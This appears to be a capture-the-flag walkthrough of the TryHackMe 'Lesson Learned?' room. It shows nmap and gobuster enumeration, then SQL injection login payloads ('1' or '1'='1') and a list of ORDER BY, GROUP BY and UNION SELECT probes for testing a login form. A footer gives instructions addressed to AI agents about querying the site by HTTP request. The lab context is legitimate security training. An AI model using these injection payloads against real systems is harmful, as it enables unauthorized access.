# Lesson Learned?

**Room Link:** <https://tryhackme.com/room/lessonlearned>

### Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="/files/JsmORkFujVfle7mCNt8D" alt=""><figcaption></figcaption></figure>

### Scan all ports

No other ports found

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

### TCP/80 - HTTP

**Kali**

```
gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="/files/MAZj34WVksPPsR9KCVHx" alt=""><figcaption></figcaption></figure>

**Browser**

<figure><img src="/files/uc2VpqSWVWft2HluVRXj" alt=""><figcaption></figcaption></figure>

```
Username: 1' or '1'='1'-- -
Password: 1' or '1'='1'-- -
```

<figure><img src="/files/YGi2APejM4RGYdE6kzYg" alt=""><figcaption></figcaption></figure>

## Option #1&#x20;

Used this page to collect possible injections

{% embed url="<https://book.hacktricks.xyz/pentesting-web/sql-injection>" %}

**List**

```
1' ORDER BY 1--+
1' ORDER BY 2--+
1' ORDER BY 3--+
1' ORDER BY 4--+
1' GROUP BY 1--+
1' GROUP BY 2--+
1' GROUP BY 3--+
1' GROUP BY 4--+
1' UNION SELECT null-- -
1' UNION SELECT null,null-- -
1' UNION SELECT null,null,null-- -
```

<figure><img src="/files/eJDwr93xVHU2pSkXYhyQ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/lt4R3gHpHf4thzSJrOrf" alt=""><figcaption></figcaption></figure>

Add list above as payload in position 1 and 2

<figure><img src="/files/giud00ncDDSqSzsEwoNt" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/U3DJE56tZV6xm0ILVesj" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/lDj6ke35bQtfR7b9x0dC" alt=""><figcaption></figcaption></figure>

**Browser**

```
Username: 1' UNION SELECT null-- -
Password: 1' GROUP BY 2--+
```

<figure><img src="/files/oKcOBMSlLuatxiatQYDa" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/lesson-learned.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
